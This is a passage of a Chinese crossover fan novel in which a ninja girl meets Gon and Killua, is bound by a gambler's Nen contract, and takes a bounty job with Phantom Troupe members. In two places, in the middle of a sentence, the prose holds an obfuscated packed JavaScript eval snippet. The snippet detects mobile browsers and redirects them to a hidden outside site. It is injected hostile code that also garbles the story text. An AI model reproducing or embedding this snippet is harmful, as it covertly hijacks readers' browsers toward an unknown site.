眼前的少年眨巴着清澈的大眼睛,松萝在内心深吸一口气,总结出了最精华的部分:“我在回忍者之乡的路上遇上大爆炸,把自己炸到这里来了。” 说完她心态更爆炸了,神情肉眼可见地变丧了:“差不多了,别互相追究了,你们俩肯定是偷渡进来的吧!” 她又不是没见过以前来探险的猎人,哪有这样的小孩子啊。 杰夸张大喊着否认,眼神却忍不住往边上飘。 他立刻意识到自己露馅了,掩饰尴尬咳嗽一声,回答最初的问题:“我在祖祖祖祖祖祖父东·富力士的《新大陆游记》里看到了一段描述,这里有一个迷宫,只要能抵达迷宫中心,就能实现一个愿望。” 啊,那个迷宫啊,她去过好几次了,没见过有啥特别神奇的东西啊。 “你那祖祖祖祖祖祖父东·富力士不会是瞎写的吧……咦,富力士?杰·富力士?我好像知道一个叫金·富力士的?” 之前怎么没想起来,是一封信上吧,控诉了她作为幕后黑手控制尾兽进攻火之国巴拉巴拉的,说的还挺准的,被她记住了名字。后来派人寻找过,但是没有任何消息。 不会吧不会吧。 这相似的名字怎么会出现在忍界? “你认识金·富力士吗?” “你怎么知道我爸爸的名字?” 千手松萝:?你爸? 他也穿进游戏里面了吗? 松萝小心翼翼地问:“你爸爸该不会是失踪了吧?” 杰一脸坦然:“嗯,他一年之中,百分之九十九点九的时间都在失踪!” 上次在世界树见了一面之后,金又不见了。 听说他也要在黑暗大陆冒险,但是杰没有多问。 他们各有各的冒险之路。 但是这个回答听在松萝耳朵里就是金果然是跟她一样穿越到了忍界,所以才跟儿子失联了! 她不禁同情了起来,父子相隔两界,永生不得再见,啊,太痛了。 她决定对此闭口不言,除非找到能再次让两人相见的方法,不然对才十几岁的小少年太残忍了吧。 “姐姐?” 他不知道松萝脑补了些什么,只觉得她看自己的眼神多了些慈爱? 松萝想摸摸他的头以表安慰,手伸到一半,发现杰的刺猬头造型后,转而拍拍他的肩:“你们说的迷宫我知道在哪,我带你们过去吧。不过我也有个麻烦事,你们有没有办法?” “什么事呀?” “我想带东西通过‘门’,但不想被守门人发现。” 松萝觉得他们既然能偷渡进来,知道的应该不少吧。 “抱歉,”他不好意思地挠挠头,眼里都是歉意,“我不太清楚,但是奇犽也许知道!” 话音落下的同时,另一个少年冷酷的声音在耳畔响起:“知道什么?” 他身上多了不少血痕,衣服像是被尖细的东西划过,变得破破烂烂的。 伊尔迷也没好到哪儿去,本就泛紫的肩膀现在看上去已经有点发黑了,双臂耷拉着,不正常地外翻。 看样子是打完了。 松萝的目光还停留在伊尔迷的双臂上,正要收回目光,就看到他的双臂的肌肤开始冒出疙瘩,像水泡一样一个接一个,水泡很快布满手臂,原本不正常翻转的小臂突然内旋,恢复到了正常的角度,水泡疙瘩就像没出现过一样瞬间消失。 她望着平滑的手臂瞪大了眼睛。 这是什么招式。 一眨眼,那手臂就到了眼前。 好快。 伊尔迷的眼神如一潭死水,从始至终没什么波动,他移动到松萝面前,从衣服内摸出一张四四方方的纸:“我的名片,拿这个找我下单,可以打九九折。” 松萝有些迷茫:“什么?” 他没有做过多的解释,抽身离去。 松萝好奇地翻了翻手中的金色卡片,是从来没见的材质,背景是连绵的山脉,左上角是一个没见过的复杂徽标,中间是和下面有好几排字符……但是她几乎都不认得…… 突然想起来,她出去后也没上过学,压根不识几个大字啊喂! 想着以后或许能派上什么用场,松萝还是郑重地把它收了起来。 她们走到杰和奇犽面前。 松萝提议:“我们也换个地方吧,这巨蟒尸体引来别的魔兽就不好了。” 实际上是尸体太臭了。 她挥挥手,“晾衣杆”主动将湿衣服送到奇犽面前,熄灭火堆,三人一花一藤就开始了移动。 奔跑中,奇犽蹭到她身边,小声地说了句“对不起”。 松萝惊讶,她当然知道奇犽是在为谁的行为道歉,她只是惊讶揍敌客兄弟的感情好像也没有看上去那么差。 “没关系,他还送了我一个道歉礼呢,早就不生气啦。” 这下轮到奇犽神情莫测了:“道歉礼?” 据他所知,除了跟任务有关的事以外,他大哥不会在其他事情上费一点功夫。 松萝点头,从兜里掏出东西:“是一个叫做‘名片’的东西,金闪闪的,还挺漂亮。” 奇犽:……他不知道应该感叹大哥不愧是你还是感叹居然有人不认识名片这种东西。 不过他还是解释了一下什么是“名片”。 “这么说,这一行是名字,下面是地址?电话是什么?”她忽然觉得好丢人,自己以前到底在干什么,怎么什么都不知道。 奇犽裂开了,难道忍者住的地方也跟NGL自治国一样,全然是原生态,不用任何机械的吗? 他连双手插兜的酷酷姿势都维持不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475101|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了,抬手抓了抓自己的白色短毛,绞尽脑汁跟一个不懂现代科技的人解释何为电话。 到最后他实在烦了:“算了,等出去之后你来找我,我让你看看什么是电话。” “嗯,好。” 奇犽:“话说你们刚刚在说什么?我应该知道什么吗?” 杰凑上来飞快的复述了一遍刚才的对话。 松萝乘此空隙召唤出一溜排的夜光草,一直延伸到尽头。 晚上实在是太暗了,高大的树冠把月光都遮住了。 想着也不会有什么不长眼的,有那个胆子她?身上凑,便随心所欲着来了。 “我也不知道啊,祖父的手札也没写,爸爸也只跟我说了一句‘遵守规则’。” 遵守什么规则!规则就是用来打破的! 果然只有极少数人才知道怎么钻漏洞,她开始回想当时的契约纹路……用的什么来着……是卷轴吗?水晶球?咦?她怎么想不起来了? 脑海中,原本清晰的纹路忽然就变模糊了,她皱了皱眉。再次认真去回想时,脑袋突然像被数根针扎了一样痛了起来,差点摔倒。 杰发问,实时打断她钻牛角尖:“忍术能隐身吗?” 他对忍术很感兴趣,刚才也在问她相关的话题。 松萝用掌根抵住太阳穴,揉了揉,回答道:“算是可以吧,不过准确的说是降低自己的存在感与自然融为一体,并不是真正地从视线中消失啦。” “那不就是‘绝’吗?” “绝?” “‘绝’就是……” 奇犽打断他:“抱歉,如果你想知道这个要先去考猎人证。” 然后又觉得不好意思似的多解释了几句:“我们的师父没有说让我们保密但也没说可以外传…” 松萝觉得可以理解就没有接着问下去,大概就跟忍族不可外传的秘法一样吧。 只是她没想到,下一秒奇犽又凑过来,压低声音以极快地速度说道: “念是一种操纵生命能量·气的能力,将气全部收敛就能达到‘绝’的状态,缠在体表能增加防御,一鼓作气发出来能练成必杀技。” 松萝惊讶:“你不是说…” 奇犽到这时反倒是想通了:“说就说了呗,反正知道的人也不少,而且也不是光知道就能练成的。” 他习惯性地双手插兜一脸满不在乎的样子。 嘶——有点帅哦。 “那杰是为什么使不出念能力?” “他这个傻瓜为了报仇,透支了未来几十年的能力。” “这就是制约与誓约吗?” 杰似乎已经释然:“嗯,越是强大的力量需要的代价越大。” “不会后悔吗?” “在看到奇犽为了掩护我受伤的时候会有一点,但是重来一次我可能还是会那么干。” 十二岁的少年不为自己一时冲动失去了力量而后悔,却因为失去力量给好友增加负担而后悔。 杰就像火,虽然平常很温暖,但太容易过度燃烧了,一旦过燃了,不但伤己还伤人。偏偏这样炙热,真诚地友情又不禁让人向往、感激。 她认识的人里好像没有一个会这样为了他人不顾一切,大家都因为种种原因不得不压抑自己,控制自己,考虑家族,考虑任务,畏畏缩缩,瞻前顾后。 这样说来,杰可真是极端任性了,想做就做。 ——倒真令人羡慕。 羡慕杰也羡慕奇犽。 “不过不用担心啦,这次来我一定会找回念能力的。”杰坚定地说。 奇犽泼他冷水:“你哪里来的自信。” 他继续泼冷水:“我们进来快一个月了,连迷宫入口都没摸着,更别提迷宫还有B+的五大灾厄之一的守卫者。” “奇!犽!你怎么一直打击我!” 杰突然蹦起来,跳到奇犽面前,奇犽也刷地站起来,两个人脑门抵脑门,手掌对手掌,原地相扑起来。 手脚使了多大劲倒是看不出来,脸上使了多大劲倒是一目了然——五官狰狞,丑得半斤八两。 松萝看着他们,忍俊不禁,但还是咳咳一声,当作提醒。 “到了。” 71.第 71 章 “这就是迷宫所在。” 入目之处,皆是草坪,没有一点建筑物的影子。 不在地上,那就只有…… “哇!”奇犽突然兴奋地怪叫一声,“地下!” 这不就是《地下城与xx》!鸡皮疙瘩起来了。 目送两人走进地下迷宫,松萝单手附在树干上,透过万千树叶的呼吸,感受附近的生气,由此来寻找莫比乌斯湖小岛上来的人。 对着寻找到的人使用幻术,但依然没有问到通过“门”的办法。如此重复七八次后,她不免有些丧气。 得到的回答与她所知的没有什么不同:能从黑暗大陆出去的只有三种,死物、宠物、废物。 再让她割舍根系跟人签订契约什么的,绝对不行。 一边想着一边与下一个目标碰上了面。 男人十分瘦削,身穿蓝色的西服套装,眼上架着一副眼镜,眼眶深深凹陷,眼珠子异常突出,像是大病了一场。 想到杰提过的两个朋友的装扮,“这人该不会是雷欧力欧吧”的想法冒了出来,打招呼时不免带上了些热情: “嗨!” 谁知他听到声音一脸惊恐,脸色肉眼可见得转变为苍白,原地颤抖起来:“你是谁?” 松萝:“……雷欧力欧?” “……打扰了。” 她跳上树枝,开始寻找下个目标。 “等一等!”男人焦急地喊道,扯到了喉咙不由得咳嗽起来。 松萝没有理会,她才没有那么烂好心,男人一急,扑通跪下:“要我做什么都可以!求求你救救我!” 衣服破破烂烂,不明污渍满身,身上的气团小到几乎没有,是将死之兆,这样的人能做什么?她不为所动,闭眼继续搜索。 “我有钱!” 嗖—— 树上的人忽然消失,闪现在男人面前。她黑亮的眸子带来一股压迫感。 男人咽了咽口水,颤抖着发黑的指尖,摸入裤袋,掏出一个金色的钱币,捧在手心,往前一递。 就这? 许是鄙视的眼神太明显,男人立刻解释道:“这是特质的金币,拿着它就能打开我在友克鑫市的金库,里面有很多珠宝和金币,我发誓!只要你……您能带我到‘门’那边……” 在外面啊。 她撇撇嘴,想了想还是接下了。她迟早会出去的。 她的视线从男人发黑的指尖上掠过,疫病,就是不知道是哪种,死得快还是死得慢。都拿了人家财产了,只送一段路好像也有点良心不安。 她目光在地上逡巡一阵,拔起一株锯齿状的小草,扔给男人:“吃了吧,延缓你的病。” 找人的事情延后,松萝决定先把财神版拖油瓶送到门那边。 “跟我来。” 话音一落,一根藤条卷上男人,开始贴着地面疾驰。 松萝落后一步,跳到另一根粗壮的藤条上,也被带着向前。 过了小半日,她便将人带到守门人边上。如此轻松的活计,她竟希望能再来几次。正好这边的人类比以往多了好几倍,她是不是能再捞一点? “呼呼……”男人惊魂未定地站到凝实的地面,愣了一秒,忽然仰天大笑起来。 “哈哈哈哈……” 没想到这么简单。 一股黑紫色的气从他头顶冒出,弯弯曲曲地伸向松萝的头顶。 松萝皱眉后退,却没想到那股黑紫色的气紧缠着她不放。 她眼疾手快地扔掉金币,卷起石头挡在面前。然而黑气穿过屏障,好似完全不受阻挡。既然如此,她就攻击本体。 藤蔓勒住男人的脖子,火焰灼烧着他的手脚,石头砸向他的头骨,但是黑气延伸的速度丝毫不曾减慢。 “哈哈哈哈,咳咳,”男人像破锣一样的嗓子发出得意的声音,“没用的。‘交易’已经成立,你做什么都没用,哪怕杀了我,我也能复活。” “这是我的念能力‘一掷千金’。一生只有一次的all in机会,我赌上了我的所有财产,赌你能顺利将我带到门,我赢了!你是我的东西了!” “你很强,第一眼看到你的时候我就知道,在这样的环境里仍然能保持干净整洁,比我看到过的任何一人都要强大。” “但是那又如何?” “我特里·赛切利特·艾瑞才是顶点!” 松萝身形一滞,目光刺向癫狂的男人,试图从他的脸上找到似曾相识的特征。 脚步扭转,她俯身冲向男人,右手掐住他的嘴鄂,用力往地上一掼,砸出一个圆形的地坑。 紫色眼瞳。 无色的气从她的身体溢出,像煮沸的水汽,在男人身上烫出一个个水泡。 狭长的单眼皮。 水泡破开,殷红的血色流淌,男人的皮肤一块一块地往下掉。 左耳后的痣。 她拎起男人上半身,一次又一次地将没了声息的人砸向地面,淌出的血水流入地缝,形成红色的蜘蛛网。黑紫色的气接触了滚烫的沸水,快速地侵染着无色的气,如紫色的灵蛇,快活地游动,没入了松萝的脑袋。 合上的双眼缓缓睁开,露出紫色的光芒。 特里·赛切利特·艾瑞微笑:“欢迎,我的新生的女儿。” …… 特里·赛切利特是流星街出生的赌徒,那里比起赌钱更喜欢赌器|官,他赌输一次,他的妻子艾瑞就会失去一个肾或者一只眼睛。当连206根骨头都输完了之后,他终于开始害怕了,害怕赌场的人会要让他压上自己的身体。 于是他卖了亲生女儿逃了出来,化身为一个体面的中流人士。 但是从小生活在混乱中的他根本压抑不住心底的恶魔,他又开始了赌博。赢了再赌,输了卖几个人当奴隶。他的“豪气”吸引了大人物的注意,与他们的交往中,他知道了黑暗大陆,被称为宝物库的地方。 他立刻就知道了,这是更大的舞台,更大的轮盘,比以往任何一种赌博都要刺激和惊喜。 他势必要在这里“一掷千金”。 …… 从忍宗回到黑暗大陆后,以前,被“爸爸”带出门的记忆越来越模糊,最后连“爸爸”的面孔和名字她都记不起来了。 就好像这份记忆是她的错觉一样。 …… 想起来了。 特里·赛切利特,是带她走的那个“爸爸”的名字。他说过,为了纪念病死的“妈妈”,他在自己的名字后面加上了“妈妈”的名字“艾瑞”。 “爸爸”有着狭长的紫色眼睛和瘦削的身材,弱不经风,像是随时要倒下一样。但是却从来没有真正倒下过,他像黄鼠狼一样将身边的大人物们玩得团团转。 …… 植物们说不认识他。 为什么?他上次分明将自己带了出去。 …… 虽然回来了,但是回到了被他带走之前。所以跟我融合的本体是完整的。时间线错乱了,这样就能解释一切了。 松萝冷静了下来,放任紫色黑的气盘踞在自己大脑里。 契约是一样的,她要听从这个男人的命令,他死她也死。 但她不再像之前那样懵懂无知。 松萝咧开笑容:“爸爸。” 让人活着且不能发出命令的方法有的是,这次轮到我来利用你了。 愉悦。 * 从黑暗大陆出来已经一个月了。 好消息是她发现有一种叫做除念师的职业人可以解除由念能力而生的“契约”。 坏消息是她已经用特里所有的财产去买消息了,仍然没找到除念师的一丝线索。 她这个时候才真正理解他的“一掷千金”是物理意义上的——金库她打开了,里面所有的东西都不见了。 包括银行账户里的钱、房产、物产等全都没了,特里赌上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497357|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的所有财产,换来了她这个好女儿。 不过,在他从黑暗大陆出来后的第二天,某个黑色账户里打进了一笔新的钱。她了解之后才发现,这是特里跟别人打赌他能活着出来,因此赢的,不包括在之前的所有财产内。 松萝看着余额,欢乐地拿去发布了除念师悬赏。 而特里·赛切利特·艾瑞本人,正在精神病疗养院里享受幻术带来的站在“顶点”的人生。 她真是太孝顺了。 对于特里的精神状况,谁都没有怀疑,不如说,从黑暗大陆出来没疯没死没病的才是不正常。所有听说了他从黑暗大陆回来并想挖点消息的人,全都铩羽而归。 甚至猎人协会都来过一次,受到了她这个养女的热烈欢迎。 特里的登记过的养子养女可不少,都是为了他方便做人口生意。纵使有人升过怀疑的念头,也没有拯救这种渣滓的想法。 松萝没有电脑,只得花钱去网吧。 她连续一个月泡在网吧里,日出夜归,前台的大波浪姐姐吐出一口烟,用长长的红色指甲顶顶她的额头,发出了“又是一个失足少女”的“啧啧”声: “别成四眼仔了,丑。” 排在松萝后面进网吧的眼镜男:? 松萝摸到熟悉的隔间,她照例上悬赏网页看了眼自己发布的1亿悬赏——求除念师的出手一次,没有回复。然后才浏览起来了其他板块。 网络——新时代的图书馆。最起码松萝的听说读写已经到了一个月前无法企及的高度。 有个喜欢铁窗泪的“爸爸”的便利之处就是什么账户都有,连猎人证都有一个,是一个叫比尔的年轻男人的。她借着比尔的猎人证上了专属网站,查看了一下悬赏首页综合排序最高的几个任务帖。 [悬赏]黄金龙的蛋,活的10000亿,死的1亿,骗子别来。 [悬赏](已删)艾萨克·尼特罗的遗传基因,1000亿起,详谈。 [悬赏]求领航员一名,50亿,价格好商量。 [悬赏](长期)清扫嵌合蚁,1亿起,需要面试和体测。 …… 松萝:……亿是什么很小的单位吗?看得我都不认识“亿”这个字了。 连翻了好几页都是看不懂或者特别阴间的任务后,松萝叉掉页面,喊来了前台的姐姐。 “这回要打什么字?” 她伸着细长的双手,翘着小拇指敲击着名为键盘的东西,不规律的“哒哒哒哒”声结束之后,是一记重重的“塔”声,随即网页就跟施了忍术一样,文字全都变了。前台姐姐将头发向后随意一捋,伸出右手,摊开向上。 松萝从口袋里掏出一盒烟:“谢谢。” 女人打开烟盒,用两根手指捏出一根烟,将剩下的盒子放在桌上,踩着细高跟回到了前台。 松萝重新看向网页,已经变成全部与“忍者x忍者”这个游戏相关的内容了。 她点开置顶链接,阅读起来。 游戏名:忍者x忍者 开发商:MOON股份有限公司 发行日期:1998年 台数:500+ 原售价:4100万 现估价:155亿(最近拍卖价168亿) 入手难易度:G→F 入手途径:拍卖会/游戏收藏家 游戏类型:全身心沉浸式 重要情报:付出一定程度的代价,可以学会忍术 剩下的都是一些类似历史成交信息的非重要情报,松萝随便瞄了几眼就过了。除了一个叫“v50减十斤”的游戏收藏家买了五个,甚至还在求购有点奇怪以外,没有什么值得注意的。 第二个链接就比较简洁明了了——出售《忍者x忍者》游戏机一台,一口价160亿。 瞥了眼自己的余额:23333.4 松萝果断点开第二个链接私戳发布人:在吗? 72.第 72 章 等了一会儿,发布人也没有回复,松萝便接了那个长期的清扫嵌合蚁的任务,提前结束了今日的上网时间。 路过前台的时候,想到接下来几天可能都不会来这个网吧,她摸出烟盒放在桌上。 前台姐姐懒懒抬起眼皮,视线从烟盒滑到长发背影上,出声叫住松萝:“你在这里等着。” 没一会儿,她拿出一本红红绿绿的图画书,往外一甩。 “给你了。” 松萝急忙接住,拿正一看——《魔法识字书——专为3-6岁宝宝设计》。 ……谢谢你。 * 清扫嵌合蚁任务写明了需要面试和体测,时间就在两天后,地点是巴托亚共和国的首都所托亚市。从这里坐飞机要将近八个小时。 松萝订了明天出发的飞机票,本就不多的余额瞬间只剩3333.5,她甚至开始担忧“爸爸”下个月在精神病院的住院费了呢。 唉,太孝顺了也不好。 抵达所托亚市后她找了网吧进去。 那个卖游戏机的发布人“收模型+668877”回复了:一口价160亿。 松萝挽起袖子,拿出专为宝宝设计的识字书——她在飞机上净学这个了——开始自己的第一次打字尝试。 二十分钟后。 她顶着比尔的账户回道:当面交易。 收模型+668877:可以。 假比尔:地点? 收模型+668877:6月15日正午,巴托奇亚的能登诺市第二大街人体咖啡店。 今天是6月10日,还不知道清扫嵌合蚁的任务要多久,面试能不能过…… 假比尔:时间再说。 对方回复了一个:三天内决定。 松萝想了想,明天就知道了,回了个时髦的“OK”。 * 翌日,所托亚市联合大酒店。 来面试的人有约莫三十个,大多是强壮的男人——包括变身成比尔后的松萝,眼神凌厉,散发着不好惹的气息。 这个悬赏任务限定了猎人才能参与,任务金也高,危险程度可见一斑。 面试主考官出现时更是散发着强烈的气,仿佛要先给一个下马威似的。 “话说在前头,这个任务执行地点在流星街,我们只负责送你们进去,不提供任何保护和帮助,也不会带你们出来。” 全场哗然。 几乎所有人站了起来,向外走去。 松萝:啊?谁来给我科普一下?为什么都走了?啊? 一眨眼,拥挤的大厅就只剩下了三位应聘者——一个女人、一个小孩和假扮比尔的松萝。 除了她以外的两人应该是同伴,从一开始就一起坐在角落里。 年长的女人看起来二十岁左右,金色的长发全部束在脑后,没有一丝凌乱,眉眼高挺,虽然娇小却是个不可多得的美人。 小男孩戴着一顶宽帽,她只打量了一眼,看不清楚。 既然错过了最佳站起来的时机,千手松萝干脆不走了,不过…… “要加钱。” 她嚣张地将两条腿架在桌子上,上半身向后倾,双手插兜,拽拽地提出了要求。 金发女人似乎也觉得是个好提案,声音清冷:“5亿。” 主考官身周环绕的气更加强了,像从一只闭眼小憩的老虎变成了弓背蓄势待发的猛虎,不断向外喷洒着浓烈的气息。 他声音低沉,每说一个字气势成倍攀升:“1.5亿一人。” “6亿。” “5.5亿。” 两道声音同时响起,松萝转头跟金发女人对视一眼,皆露出了欣赏。 谈价格,气势最重要,怎么能自己先松口呢? 主考官头顶冒出细密的汗来,他已经将自身的气全部释放出来了,但是这三人一点都没受到影响。 他收回气,神情由严肃转为轻松,倒也没有太轻松就是了,同时宣告说:“你们三人合格了。” 原来这就是“面试和体测”?比想象中要简单不少。 主考官掏出手机跟背后的人沟通了几句后,才继续跟三人讲话:“报酬最多2亿一人。任务内容是杀死流星街的嵌合蚁宰伊洛。 “你们不是第一批,我们前后送了五批队伍进去,但是宰伊洛的进化速度超出了想象,先前进去的人都没有成功,剩下只有五人还活着,他们被重新编成了一个队伍,负责击杀任务。 “而你们则要吸引宰伊洛的手下,排除一切干扰之后前往三区支援,辅助击杀。” 接着他又在手机里点了几下,说:“目标的相关情报已经发给你们。地图上标红的地方是你们要压制的据点,方式自由,完成之后立刻赶往三区。出发时间是三天后的傍晚七点,地点仍是这里。还有什么问题吗?” 傍晚七点,从这里来回巴托奇亚共和国要一天时间,跟“收模型+668877”的约定时间要提早一些才行了。 松萝:“报酬的支付呢?” “将你们送进去之后,我们会往对应猎人账户支付20%,确认死亡支付再支付30%,任务完成支付剩下80%。” 坐在后排的金发女人听到此话,单手扶在额角,说:“打到别的账户里。” 接着,她将头发往上一提,金色的长发和脸皮被她直接拽了下来。 她身边的少年将兜帽一扔,第一次开口:“早就想脱了,乔装这馊主意。” 女人将散落的粉紫色长发绑成一个马尾:“同感。” 她射出一张纸卡,擦过主考官的耳廓,嵌入了他背后的墙中。 “直接打到这两个账户。” “你们……”主考官一改之前的淡定,双腿竟是忍不住颤抖起来。这个清扫任务是长老会发出的,而被他们选出的主考官自然也是流星街的人。对于从流星街出身,但比任何本地人都要恶名昭著的那群家伙,他怎么可能不认识…… “幻影旅团……” 松萝:啊?幻影?旅游团? 从头到尾都在状况外的松萝,也有账户的这个问题,她一直用的特里的,而猎人比尔的账户里的钱她是提不出来。 于是,松萝解除变身术,走到主考官旁边,拿下墙上嵌着的那张卡片,咬破指尖,写下了特里的账户号码,然后递给主考官,微笑着说:“我的那份麻烦打到这里。” 男人双手颤颤巍巍地接过满是血字的卡片,心想,用血写数字是在威胁我吗……果然敢接这种任务的都不是正常人…… * 继体验飞机之后,新干线也安排上了,忍者之村的建设就应该照着这么来,再也不用只靠两条腿赶路了。 好想回去搞建设啊,好想见大家啊。 “您的拿铁。” 骨瓷色的杯子配上骷髅头的奶白色拉花,这是这家人体咖啡店的招牌饮品——大 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“哼,”他眯着本来就不宽的眼睛冷笑,“你别耍什么花样,毒对我不管用……” “卧槽?人呢?” 桌上空空如也,对面的人也不见了。 “收模型+668877”发现不对劲后立刻冲出了咖啡店,只看到一辆黑色出租车远去。 他大骂一声,抢了路边的车就追。一边将手伸进口袋,摸出手机时,一张纸条掉了出来。 上面写着:欠条——160亿戒尼,千手松萝留 他捏住纸条,往车窗上奋力一砸:“可恶!到底用了什么手段!竟然从我糜稽·揍敌客手里抢东西,绝对不能原谅!可恶的小偷!” “喂,是我,帮我追踪一辆车,车牌是BX098,快!……我现在腾不开手啊,白痴!” 刚为游戏到手喜悦了没几分钟,松萝就发现卖家追上来了。 为什么大哥赌输时庄家都愿意收他的欠条呢?怎么换成她留欠条就不行了? 她换了一辆又一辆车,还跟人换了新干线票和飞机票,没想到这胖子,啊不,这位倒霉的卖家追得牢牢的,一点没跟丢。 甚至在她坐上飞机后没多久,一架小型的明显是私人飞机竟跟了上来。 机内人员全都趴在窗口围观那架追逐在后的小飞机。 松萝:……她该不会是惹到了什么不该惹的人吧? 落地后她混在一群老年人旅游团里溜了出去,坐上了去所托亚市联合大酒店的出租车。 直到发现后面没有奇怪的追踪车后,才终于松了一口气。 昨天见到的同为应聘者的两人已经到了,但是一点跟她打招呼的意思都没有。 地上有四个白粉笔画的圆圈,那三人各站在一个圈内。 主考官看到她出现,立刻指示她走到圆圈中。 “现在将你们送去流星街内部的第六区,那里的宰伊洛的手下最难搞。” 他拿出一个上次未曾见过的毛笔,在空中笔划起来,接着白色圆圈中央有白光亮起,像光柱一样笼罩了整个人。 松萝心道一声神奇,余光看到大厅的门被人推开,熟悉的身影冲了进来。然而白光刺眼,遮住了所有景色。 “那是…玛琪和飞坦,呵,原来是旅团……”